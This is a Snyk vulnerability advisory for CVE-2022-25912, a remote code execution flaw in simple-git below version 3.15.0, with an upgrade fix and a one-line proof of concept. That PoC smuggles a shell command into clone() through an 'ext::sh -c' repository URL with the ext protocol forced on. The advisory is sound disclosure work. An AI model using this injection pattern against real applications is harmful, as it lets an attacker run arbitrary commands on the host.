Remote Code Execution (RCE) Affecting simple-git package, versions <3.15.0
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
1.51% (88th
percentile)
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Test your applications- Snyk ID SNYK-JS-SIMPLEGIT-3112221
- published 5 Dec 2022
- disclosed 10 Nov 2022
- credit Sam Wheating
Introduced: 10 Nov 2022
CVE-2022-25912 Open this link in a new tabHow to fix?
Upgrade simple-git to version 3.15.0 or higher.
Overview
simple-git is a light weight interface for running git commands in any node.js application.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) when enabling the ext transport protocol, which makes it exploitable via clone() method.
This vulnerability exists due to an incomplete fix of CVE-2022-24066.
PoC
const simpleGit = require('simple-git')
const git2 = simpleGit()
git2.clone('ext::sh -c touch% /tmp/pwn% >&2', '/tmp/example-new-repo', ["-c", "protocol.ext.allow=always"]);
CVSS Scores
version 3.1